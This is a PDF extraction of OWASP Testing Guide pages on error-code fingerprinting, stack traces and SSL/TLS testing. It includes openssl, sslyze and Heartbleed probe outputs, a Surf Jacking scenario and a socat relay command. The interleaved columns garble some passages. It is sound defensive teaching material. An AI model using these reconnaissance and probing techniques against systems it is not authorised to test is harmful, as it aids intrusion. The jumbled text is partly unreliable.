Attackers sometimes use search engines to locate errors that Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
disclose information. Searches can be performed to find any er- [DBNETLIB][ConnectionOpen(Connect())] - SQL server does not
roneous sites as random victims, or it is possible to search for exist or access denied
errors in a specific site using the search engine filtering tools as
described in 4.2.1 Conduct Search Engine Discovery and Recon-
naissance for Information Leakage (OTG-INFO-001) What happened? We will explain step-by-step below.
Web Server Errors In this example, the 80004005 is a generic IIS error code which
A common error that we can see during testing is the HTTP 404 indicates that it could not establish a connection to its associated
Not Found. Often this error code provides useful details about database. In many cases, the error message will detail the type
the underlying web server and associated components. For ex- of the database. This will often indicate the underlying operating
ample: system by association. With this information, the penetration
tester can plan an appropriate strategy for the security test.
Not Found
By manipulating the variables that are passed to the database
The requested URL /page.html was not found on this server.
connect string, we can invoke more detailed errors.
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2
PHP/5.1.2 Server at localhost Port 80
Microsoft OLE DB Provider for ODBC Drivers error ‘80004005’
This error message can be generated by requesting a non-ex- [Microsoft][ODBC Access 97 ODBC driver Driver]General error
istent URL. After the common message that shows a page not Unable to open registry key ‘DriverId’
found, there is information about web server version, OS, mod-
ules and other products used. This information can be very im-
portant from an OS and application type and version identifica- In this example, we can see a generic error in the same situation
tion point of view. which reveals the type and version of the associated database
system and a dependence on Windows operating system regis-
Other HTTP response codes such as 400 Bad Request, 405 try key values.
Method Not Allowed, 501 Method Not Implemented, 408 Re-
quest Time-out and 505 HTTP Version Not Supported can be Now we will look at a practical example with a security test
forced by an attacker. When receiving specially crafted requests, against a web application that loses its link to its database serv-
web servers may provide one of these error codes depending on er and does not handle the exception in a controlled manner. This
their HTTP implementation. could be caused by a database name resolution issue, processing
of unexpected variable values, or other network problems.
Testing for disclosed information in the Web Server error codes
is related testing for information disclosed in the HTTP headers Consider the scenario where we have a database administration
as described in the section Fingerprint Web Server (OTG-IN- web portal, which can be used as a front end GUI to issue database
155
queries, create tables, and modify database fields. During the Result:
POST of the logon credentials, the following error message is Firewall version used for authentication:
presented to the penetration tester. The message indicates the
presence of a MySQL database server: Error 407
FW-1 at <firewall>: Unauthorized to access the document.
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) • Authorization is needed for FW-1.
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host • The authentication required by FW-1 is: unknown.
• Reason for failure of last attempt: no user
Result: There are various ways by which errors can be handled in dot net
framework. Errors are handled at three places in ASP .net:
HTTP/1.1 501 Method Not Implemented
• Inside Web.config customErrors section
Date: Fri, 08 Dec 2013 09:59:32 GMT
• Inside global.asax Application_Error Sub
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
• At the the aspx or associated codebehind page in the Page_Er-
Suhosin-Patch
ror sub
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Handling errors using web.config
Content-Length: 299
Connection: close
Content-Type: text/html; charset=iso-8859-1 <customErrors defaultRedirect=”myerrorpagedefault.aspx”
... mode=”On|Off|RemoteOnly”>
<title>501 Method Not Implemented</title> <error statusCode=”404” redirect=”myerrorpagefor404.
... aspx”/>
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 <error statusCode=”500” redirect=”myerrorpagefor500.
with Suhosin-Patch at <host target> Port 80</address> aspx”/>
... </customErrors>
Private Sub Application_Error (ByVal sender As Object, ByVal e custom errors for .net are not configured.
As System.EventArgs)
Handles MyBase.Error Error Handling in Apache
End Sub Apache is a common HTTP server for serving HTML and PHP
web pages. By default, Apache shows the server version, prod-
ucts installed and OS system in the HTTP error responses.
Handling errors in Page_Error sub
This is similar to application error. Responses to the errors can be configured and customized glob-
ally, per site or per directory in the apache2.conf using the Error-
Private Sub Page_Error (ByVal sender As Object, ByVal e As Document directive [2]
System.EventArgs)
Handles MyBase.Error ErrorDocument 404 “Customized Not Found error message”
End Sub ErrorDocument 403 /myerrorpagefor403.html
ErrorDocument 501 http://www.externaldomain.com/errorp-
agefor501.html
Error hierarchy in ASP .net
Page_Error sub will be processed first, followed by global.asax
Application_Error sub, and, finally, customErrors section in web. Site administrators are able to manage their own errors using
config file. .htaccess file if the global directive AllowOverride is configured
properly in apache2.conf [3]
Information Gathering on web applications with server-side
technology is quite difficult, but the information discovered can The information shown by Apache in the HTTP errors can also be
be useful for the correct execution of an attempted exploit (for configured using the directives ServerTokens [4] and ServerSig-
example, SQL injection or Cross Site Scripting (XSS) attacks) and nature [5] at apache2.conf configuration file. “ServerSignature
can reduce false positives. Off” (On by default) removes the server information from the
error responses, while ServerTokens [ProductOnly|Major|Mi-
How to test for ASP.net and IIS Error Handling nor|Minimal|OS|Full] (Full by default) defines what information
Fire up your browser and type a random page name has to be shown in the error pages.
Also test for .net custom errors. Type a random page name with Testing for Stack Traces (OTG-ERR-002)
aspx extension in your browser Summary
Stack traces are not vulnerabilities by themselves, but they often
http:\\www.mywebserver.com\anyrandomname.aspx reveal information that is interesting to an attacker. Attackers
attempt to generate these stack traces by tampering with the
input to the web application with malformed HTTP requests and
If the server returns other input data.
Server Error in ‘/’ Application. If the application responds with stack traces that are not man-
--------------------------------------------------------------- aged it could reveal information useful to attackers. This infor-
----------------- mation could then be used in further attacks. Providing debug-
ging information as a result of operations that generate errors is
considered a bad practice due to multiple reasons. For example,
158
it may contain information on internal workings of the applica- protocol ensures not only confidentiality, but also authentica-
tion such as relative paths of the point where the application is tion. Servers are authenticated using digital certificates and it is
installed or how objects are referenced internally. also possible to use client certificate for mutual authentication.
How to Test Even if high grade ciphers are today supported and normally
Black Box testing used, some misconfiguration in the server can be used to force
There are a variety of techniques that will cause exception mes- the use of a weak cipher - or at worst no encryption - permitting
sages to be sent in an HTTP response. Note that in most cases to an attacker to gain access to the supposed secure communi-
this will be an HTML page, but exceptions can be sent as part of cation channel. Other misconfiguration can be used for a Denial
SOAP or REST responses too. of Service attack.
Some tools, such as OWASP ZAP and Burp proxy will automati- • Software exposed must be updated due to possibility of known
cally detect these exceptions in the response stream as you are vulnerabilities [4].
doing other penetration and testing work. • Usage of Secure flag for Session Cookies [5].
• Usage of HTTP Strict Transport Security (HSTS) [6].
Gray Box Testing • The presence of HTTP and HTTPS both, which can be used to
Search the code for the calls that cause an exception to be ren- intercept traffic [7], [8].
dered to a String or output stream. For example, in Java this • The presence of mixed HTTPS and HTTP content in the same
might be code in a JSP that looks like: page, which can be used to Leak information.
specifying, among other information, the protocol and the can be customized and expanded at will). During the initial
cipher suites that it is able to handle. Note that a client is negotiations with an HTTPS server, if the server certificate
usually a web browser (most popular SSL client nowadays), but relates to a CA unknown to the browser, a warning is usually
not necessarily, since it can be any SSL-enabled application; raised. This happens most often because a web application
the same holds for the server, which needs not to be a web relies on a certificate signed by a self-established CA. Whether
server, though this is the most common case [9]. this is to be considered a concern depends on several factors.
For example, this may be fine for an Intranet environment
[2] The server responds with a ServerHello message, containing (think of corporate web email being provided via HTTPS; here,
the chosen protocol and cipher suite that will be used for that obviously all users recognize the internal CA as a trusted CA).
session (in general the server selects the strongest protocol When a service is provided to the general public via the Internet,
and cipher suite supported by both the client and server). however (i.e. when it is important to positively verify the identity
of the server we are talking to), it is usually imperative to rely on a
It is possible (for example, by means of configuration directives) trusted CA, one which is recognized by all the user base (and here
to specify which cipher suites the server will honor. In this way we stop with our considerations; we won’t delve deeper in the
you may control whether or not conversations with clients will implications of the trust model being used by digital certificates).
support 40-bit encryption only.
• Certificates have an associated period of validity, therefore
[1] The server sends its Certificate message and, if client they may expire. Again, we are warned by the browser about this.
authentication is required, also sends a CertificateRequest A public service needs a temporally valid certificate; otherwise, it
message to the client. means we are talking with a server whose certificate was issued
by someone we trust, but has expired without being renewed.
[2] The server sends a ServerHelloDone message and waits for
a client response. • What if the name on the certificate and the name of the server
do not match? If this happens, it might sound suspicious. For a
[3] Upon receipt of the ServerHelloDone message, the client number of reasons, this is not so rare to see. A system may host
verifies the validity of the server’s digital certificate. a number of name-based virtual hosts, which share the same
IP address and are identified by means of the HTTP 1.1 Host:
SSL certificate validity – client and server header information. In this case, since the SSL handshake checks
When accessing a web application via the HTTPS protocol, a se- the server certificate before the HTTP request is processed, it is
cure channel is established between the client and the server. not possible to assign different certificates to each virtual server.
The identity of one (the server) or both parties (client and server) Therefore, if the name of the site and the name reported in the
is then established by means of digital certificates. So, once the certificate do not match, we have a condition which is typically
cipher suite is determined, the “SSL Handshake” continues with signaled by the browser. To avoid this, IP-based virtual servers
the exchange of the certificates: must be used. [33] and [34] describe techniques to deal with
this problem and allow name-based virtual hosts to be correctly
[1] The server sends its Certificate message and, if client referenced.
authentication is required, also sends a CertificateRequest
message to the client. Other vulnerabilities
The presence of a new service, listening in a separate tcp port may
[2] The server sends a ServerHelloDone message and waits for introduce vulnerabilities such as infrastructure vulnerabilities if
a client response. the software is not up to date [4]. Furthermore, for the correct
protection of data during transmission the Session Cookie must
[3] Upon receipt of the ServerHelloDone message, the client use the Secure flag [5] and some directives should be sent to the
verifies the validity of the server’s digital certificate. browser to accept only secure traffic (e.g. HSTS [6], CSP).
In order for the communication to be set up, a number of checks Also there are some attacks that can be used to intercept traffic if
on the certificates must be passed. While discussing SSL and the web server exposes the application on both HTTP and HTTPS
certificate based authentication is beyond the scope of this [6], [7] or in case of mixed HTTP and HTTPS resources in the same
guide, this section will focus on the main criteria involved in as- page.
certaining certificate validity:
How to Test
• Checking if the Certificate Authority (CA) is a known one Testing for sensitive data transmitted in clear-text
(meaning one considered trusted); Various types of information which must be protected can be also
• Checking that the certificate is currently valid; transmitted in clear text. It is possible to check if this information
• Checking that the name of the site and the name reported in is transmitted over HTTP instead of HTTPS. Please refer to specif-
the certificate match. ic tests for full details, for credentials [3] and other kind of data [2].
Let’s examine each check more in detail. Example 1. Basic Authentication over HTTP
A typical example is the usage of Basic Authentication over HTTP
• Each browser comes with a pre-loaded list of trusted CAs, because with Basic Authentication, after log in, credentials are
against which the certificate signing CA is compared (this list encoded - and not encrypted - into HTTP Headers.
160
<html><head><title>401 Authorization Required</title></ Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan
head> [29]) and commercial (e.g. Tenable Nessus [27]), can be used to as-
<body bgcolor=white> sess SSL/TLS vulnerabilities. But due to evolution of these vulner-
<h1>401 Authorization Required</h1> abilities a good way to test is to check them manually with openssl
[30] or use the tool’s output as an input for manual evaluation using
Invalid login credentials! the references.
Example 4 Checking for Client-initiated Renegotiation and Se- Now the tester can write the first line of an HTTP request and
cure Renegotiation via openssl (manually) then R in a new line.
Openssl [30] can be used for testing manually SSL/TLS. In this HEAD / HTTP/1.1
example the tester tries to initiate a renegotiation by client [m] R
connecting to server with openssl. The tester then writes the fist
line of an HTTP request and types “R” in a new line. He then waits
for renegotiaion and completion of the HTTP request and checks Server is renegotiating
if secure renegotiaion is supported by looking at the server out-
put. Using manual requests it is also possible to see if Compres- RENEGOTIATING
sion is enabled for TLS and to check for CRIME [13], for ciphers depth=2 C******
and for other vulnerabilities. verify error:num=20:unable to get local issuer certificate
verify return:0
$ openssl s_client -connect www2.example.com:443
CONNECTED(00000003)
And the tester can complete our request, checking for response.
depth=2 ******
Even if the HEAD is not permitted, Client-intiated renegotiaion
verify error:num=20:unable to get local issuer certificate
is permitted.
verify return:0
---
Certificate chain HEAD / HTTP/1.1
0 s:******
HTTP/1.1 403 Forbidden ( The server denies the specified Uni-
i:******
form Resource Locator (URL). Contact the server administrator. )
1 s:******
Connection: close
i:******
Pragma: no-cache
2 s:****** Cache-Control: no-cache
i:****** Content-Type: text/html
--- Content-Length: 1792
Server certificate
-----BEGIN CERTIFICATE----- read:errno=0
******
-----END CERTIFICATE-----
Example 5. Testing supported Cipher Suites, BEAST and CRIME
subject=******
attacks via TestSSLServer
issuer=******
TestSSLServer [32] is a script which permits the tester to check
--- the cipher suite and also for BEAST and CRIME attacks. BEAST
No client certificate CA names sent (Browser Exploit Against SSL/TLS) exploits a vulnerability of
--- CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy)
SSL handshake has read 3558 bytes and written 640 bytes exploits a vulnerability of TLS Compression, that should be dis-
--- abled. What is interesting is that the first fix for BEAST was the
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA use of RC4, but this is now discouraged due to a crypto-analytical
Server public key is 2048 bit attack to RC4 [15].
Secure Renegotiation IS NOT supported
Compression: NONE An online tool to check for these attacks is SSL Labs, but can be used
Expansion: NONE only for internet facing servers. Also consider that target data will be
SSL-Session: stored on SSL Labs server and also will result some connection from
Protocol : TLSv1 SSL Labs server [21].
Cipher : DES-CBC3-SHA
Session-ID: ******
Session-ID-ctx: $ java -jar TestSSLServer.jar www3.example.com 443
Master-Key: ****** Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2
Key-Arg : None Deflate compression: no
PSK identity: None Supported cipher suites (ORDER IS NOT SIGNIFICANT):
PSK identity hint: None SSLv3
SRP username: None RSA_WITH_RC4_128_SHA
Start Time: ****** RSA_WITH_3DES_EDE_CBC_SHA
Timeout : 300 (sec) DHE_RSA_WITH_3DES_EDE_CBC_SHA
Verify return code: 20 (unable to get local issuer certificate) RSA_WITH_AES_128_CBC_SHA
--- DHE_RSA_WITH_AES_128_CBC_SHA
163
RSA_WITH_AES_256_CBC_SHA PluginHSTS
DHE_RSA_WITH_AES_256_CBC_SHA PluginSessionRenegotiation
RSA_WITH_CAMELLIA_128_CBC_SHA PluginCertInfo
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA PluginSessionResumption
RSA_WITH_CAMELLIA_256_CBC_SHA PluginOpenSSLCipherSuites
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA PluginCompression
TLS_RSA_WITH_SEED_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
(TLSv1.0: idem)
(TLSv1.1: idem) CHECKING HOST(S) AVAILABILITY
TLSv1.2 -----------------------------
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA example.com:443 => 127.0.0.1:443
DHE_RSA_WITH_3DES_EDE_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443
DHE_RSA_WITH_AES_256_CBC_SHA ---------------------------------------------------
RSA_WITH_AES_128_CBC_SHA256
RSA_WITH_AES_256_CBC_SHA256 * Compression :
RSA_WITH_CAMELLIA_128_CBC_SHA Compression Support: Disabled
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA256 * Session Renegotiation :
DHE_RSA_WITH_AES_256_CBC_SHA256 Client-initiated Renegotiations: Rejected
RSA_WITH_CAMELLIA_256_CBC_SHA Secure Renegotiation: Supported
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA * Certificate :
TLS_DHE_RSA_WITH_SEED_CBC_SHA Validation w/ Mozilla’s CA Store: Certificate is NOT Trust-
TLS_RSA_WITH_AES_128_GCM_SHA256 ed: unable to get local issuer certificate
TLS_RSA_WITH_AES_256_GCM_SHA384 Hostname Validation: MISMATCH
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 SHA1 Fingerprint: ******
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
---------------------- Common Name: www.example.com
Server certificate(s): Issuer: ******
****** Serial Number: ****
---------------------- Not Before: Sep 26 00:00:00 2010 GMT
Minimal encryption strength: strong encryption (96-bit or Not After: Sep 26 23:59:59 2020 GMT
more)
Achievable encryption strength: strong encryption (96-bit or Signature Algorithm: sha1WithRSAEncryption
more) Key Size: 1024 bit
BEAST status: vulnerable X509v3 Subject Alternative Name: {‘othername’: [‘<un-
CRIME status: protected supported>’], ‘DNS’: [‘www.example.com’]}
* OCSP Stapling :
Example 6. Testing SSL/TLS vulnerabilities with sslyze Server did not send back an OCSP response.
Sslyze [33] is a python script which permits mass scanning and XML
output. The following is an example of a regular scan. It is one of the * Session Resumption :
most complete and versatile tools for SSL/TLS testing With Session IDs: Supported (5 successful, 0 failed,
0 errors, 5 total attempts).
With TLS Session Tickets: Supported
./sslyze.py --regular example.com:443
* SSLV2 Cipher Suites :
REGISTERING AVAILABLE PLUGINS
-----------------------------
Rejected Cipher Suite(s): Hidden
164
SPDY/NPN not offered Done now (2014-04-17 15:07) ---> owasp.org:443 <---
Server key size 2048 bit Example 8. Testing SSL/TLS with SSL Breacher
This tool [99] is combination of several other tools plus some
TLS server extensions: server name, renegotiation info,
additional checks in complementing most comprehensive SSL
session ticket, heartbeat
tests. It supports the following checks:
Session Tickets RFC 5077 300 seconds
• HeartBleed
--> Testing specific vulnerabilities • ChangeCipherSpec Injection
• BREACH
Heartbleed (CVE-2014-0160), experimental NOT vulnerable • BEAST
(ok) • Forward Secrecy support
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) • RC4 support
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) • CRIME & TIME (If CRIME is detected, TIME will also be reported)
• Lucky13
• HSTS: Check for implementation of HSTS header
--> Checking RC4 Ciphers
• HSTS: Reasonable duration of MAX-AGE
• HSTS: Check for SubDomains support
RC4 seems generally available. Now testing specific ciphers... • Certificate expiration
• Insufficient public key-length
Hexcode Cipher Name KeyExch. Encryption Bits • Host-name mismatch
--------------------------------------------------------- • Weak Insecure Hashing Algorithm (MD2, MD4, MD5)
----------- • SSLv2 support
[0x05] RC4-SHA RSA RC4 128 • Weak ciphers check
• Null Prefix in certificate
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a • HTTPS Stripping
• Surf Jacking
• Non-SSL elements/contents embedded in SSL page
--> Testing HTTP Header response
• Cache-Control
HSTS no
Server Apache
Application (None)
166
x.y.z.{.|.}.~... 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 `.a.b.c.d.e.f.g.
..I...........4. 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 h.i.j.k.l.m.n.o.
2............... 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 p.q.r.s.t.u.v.w.
....#........... 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 x.y.z.{.|.}.~...
..........}..... 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00
..I...........4.
[-] Closing connection 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00
2...............
[-] Connecting to 127.0.0.1:443 using TLSv1.2 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00
[-] Sending ClientHello ....#...........
[-] ServerHello received 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02
[-] Sending Heartbeat ..........}.....
[Vulnerable] Heartbeat response was 16384 bytes instead of 3!
127.0.0.1:443 is vulnerable over TLSv1.2 [-] Closing connection
[-] Displaying response (lines consisting entirely of null bytes are
removed):
test.css”>
--------------- RAW HTTP RESPONSE ---------------
<html> =====================================
<head>
<title>Login page </title> Checking localhost:443 for HTTP elements embedded in SSL
</head> page ...
<body>
<script src=”http://othersite/test.js”></script> [!] HTTP elements embedded in SSL page: PRESENT
[!] Vulnerable to MITM malicious content injection attack
<link rel=”stylesheet” type=”text/css” href=”http://somesite/ [!] Vulnerability Status: VULNERABLE
test.css”>
[!] STS response header: NOT PRESENT Checking localhost:443 for ROBUST use of anti-caching mech-
[!] Vulnerable to MITM threats mentioned in https://www.owasp. anism ...
org/index.php/HTTP_Strict_Transport_Security#Threats
[!] Vulnerability Status: VULNERABLE [!] Cache Control Directives: NOT PRESENT
[!] Browsers, Proxies and other Intermediaries will cache SSL
page and sensitive information will be leaked.
--------------- RAW HTTP RESPONSE --------------- [!] Vulnerability Status: VULNERABLE
HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT -------------------------------------------------
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7 Robust Solution:
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07
GMT; path=/; secure - Cache-Control: no-cache, no-store, must-revalidate,
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 pre-check=0, post-check=0, max-age=0, s-maxage=0
12:48:07 GMT; path=/ - Ref: https://www.owasp.org/index.php/Testing_for_
Content-Length: 193 Browser_cache_weakness_(OTG-AUTHN-006)
Connection: close http://msdn.microsoft.com/en-us/library/
Content-Type: text/html ms533020(v=vs.85).aspx
<html> =====================================
<head>
<title>Login page </title> Checking localhost:443 for Surf Jacking vulnerability (due to
</head> Session Cookie missing secure flag) ...
<body>
<script src=”http://othersite/test.js”></script> [!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOK-
IES
<link rel=”stylesheet” type=”text/css” href=”http://somesite/ [!] Vulnerable to Surf Jacking attack mentioned in https://re-
170
=====================================
=====================================
Checking localhost:443 for GCM/CCM ciphers support against
Loading module: sslyze by iSecPartners ... Lucky13 attack (CVE-2013-0169) ...
Checking localhost:443 for Session Renegotiation support (CVE- Supported GCM cipher suites against Lucky13 attack:
171
services.
TLSv1.2
TLS_RSA_WITH_AES_128_GCM_SHA256 Example 1. Testing for certificate validity (manually)
TLS_RSA_WITH_AES_256_GCM_SHA384 Rather than providing a fictitious example, this guide includes
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 an anonymized real-life example to stress how frequently one
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 stumbles on https sites whose certificates are inaccurate with
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 respect to naming. The following screenshots refer to a regional
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 site of a high-profile IT company.
We are visiting a .it site and the certificate was issued to a .com
[*] GCM/CCM ciphers : SUPPORTED site. Internet Explorer warns that the name on the certificate
[*] Immune from Lucky13 attack mentioned in http://www.isg. does not match the name of the site.
rhul.ac.uk/tls/Lucky13.html
[*] Vulnerability Status: No
=====================================
=====================================
suites or Certificates. Apart from other vulnerabilities discussed 10.13.37.100:3128 run socat as follows:
in other parts of this guide, a vulnerability exists when the server
provides the website both with the HTTP and HTTPS protocols,
$ socat TCP-LISTEN:9999,reuseaddr,fork
and permits an attacker to force a victim into using a non-secure
PROXY:10.13.37.100:destined.application.lan:443,proxy-
channel instead of a secure one.
port=3128
Surf Jacking
The Surf Jacking attack [7] was first presented by Sandro Gauci
and permits to an attacker to hijack an HTTP session even when Then the tester can target all other tools to localhost:9999:
the victim’s connection is encrypted using SSL or TLS.
The following is a scenario of how the attack can take place: $ openssl s_client -connect localhost:9999
• Victim logs into the secure website at https://somesecure-
site/.
• The secure site issues a session cookie as the client logs in. All connections to localhost:9999 will be effectively relayed by
• While logged in, the victim opens a new browser window and socat via proxy to destined.application.lan:443.
goes to http:// examplesite/
• An attacker sitting on the same network is able to see the clear Configuration Review
text traffic to http://examplesite. Testing for Weak SSL/TLS Cipher Suites
• The attacker sends back a “301 Moved Permanently” in Check the configuration of the web servers that provide https
response to the clear text traffic to http://examplesite. The services. If the web application provides other SSL/TLS wrapped
response contains the header “Location: http://somesecuresite services, these should be checked as well.
/”, which makes it appear that examplesite is sending the web
browser to somesecuresite. Notice that the URL scheme is Example 9. Windows Server
HTTP not HTTPS. Check the configuration on a Microsoft Windows Server (2000,
• The victim’s browser starts a new clear text connection to 2003 and 2008) using the registry key:
http://somesecuresite/ and sends an HTTP request containing
the cookie in the HTTP header in clear text
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Con-
• The attacker sees this traffic and logs the cookie for later use.
trol\SecurityProviders\SCHANNEL\
To test if a website is vulnerable carry out the following tests:
that has some sub-keys including Ciphers, Protocols and KeyEx-
[1] Check if website supports both HTTP and HTTPS protocols changeAlgorithms.
[2] Check if cookies do not have the “Secure” flag
• [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl • [1] [RFC5246 - The Transport Layer Security (TLS) Protocol
script/windows executable scanner which follows Qualys SSL Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://
Labs Rating Guide. www.ietf.org/rfc/rfc5246.txt]
• [29] [SSLScan | http://sourceforge.net/projects/sslscan/] • [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]
with [SSL Tests|http://www.pentesterscripting.com/discovery/ • [34] [RFC6066 - Transport Layer Security (TLS) Extensions:
ssl_tests]: a SSL Scanner and a wrapper in order to enumerate Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]
SSL vulnerabilities. • [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.
• [31] [nmap|http://nmap.org/]: can be used primary to identify org/56387]
SSL-based services and then to check Certificate and SSL/TLS • [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/
vulnerabilities. In particular it has some scripts to check [Certif- cgi-bin/cvename.cgi?name=CVE-2009-3555]
icate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] • [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://com-
and supported [SSL/TLS protocols/ciphers|http://nmap.org/ munity.qualys.com/blogs/securitylabs/2011/10/31/tls-renego-
nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating. tiation-and-denial-of-service-attacks]
• [30] [curl|http://curl.haxx.se/] and [openssl|http://www. • [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practic-
openssl.org/]: can be used to query manually SSL/TLS services es|https://www.ssllabs.com/projects/best-practices/index.
• [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of html]
SSL clients is that of SSL proxies such as stunnel available at • [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.
which can be used to allow non-SSL enabled tools to talk to SSL ssllabs.com/projects/rating-guide/index.html]
services) • [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssl-
• [37] [socat| http://www.dest-unreach.org/socat/]: Multipur- labs.com/projects/ssl-threat-model/index.html]
pose relay • [18] [Qualys SSL Labs - Forward Secrecy|https://community.
• [38] [testssl.sh| https://testssl.sh/ ] qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploy-
ing-forward-secrecy]
• [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.
References com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-
OWASP Resources now-what]
• [5] [OWASP Testing Guide - Testing for cookie attributes (OTG- • [16] [Qualys SSL Labs - BEAST|https://community.qualys.
SESS-002)|https://www.owasp.org/index.php/Testing_for_ com/blogs/securitylabs/2011/10/17/mitigating-the-beast-at-
cookies_attributes_(OTG-SESS-002)] tack-on-tls]
• [4][OWASP Testing Guide - Test Network/Infrastructure Con- • [17] [Qualys SSL Labs - CRIME|https://community.qualys.
figuration (OTG-CONFIG-001)|https://www.owasp.org/index. com/blogs/securitylabs/2012/09/14/crime-information-leak-
php/Test_Network/Infrastructure_Configuration_(OTG-CON- age-attack-against-ssltls]
FIG-001)] • [7] [SurfJacking attack|https://resources.enablesecurity.com/
• [6] [OWASP Testing Guide - Testing for HTTP_Strict_Trans- resources/Surf%20Jacking.pdf]
port_Security (OTG-CONFIG-007)|https://www.owasp.org/ • [8] [SSLStrip attack|http://www.thoughtcrime.org/software/
index.php/Test_HTTP_Strict_Transport_Security_(OTG-CON- sslstrip/]
FIG-007)] • [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/
• [2] [OWASP Testing Guide - Testing for Sensitive information security_standards/documents.php]
sent via unencrypted channels (OTG-CRYPST-003)|https:// • [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and
www.owasp.org/index.php/Testing_for_Sensitive_informa- Other Hash Functions| http://link.springer.com/chap-
tion_sent_via_unencrypted_channels_(OTG-CRYPST-003)] ter/10.1007/11426639_2]
• [3] [OWASP Testing Guide - Testing for Credentials Transport-
ed over an Encrypted Channel (OTG-AUTHN-001)|https://www. Testing for Padding Oracle (OTG-CRYPST-002)
owasp.org/index.php/Testing_for_Credentials_Transported_ Summary
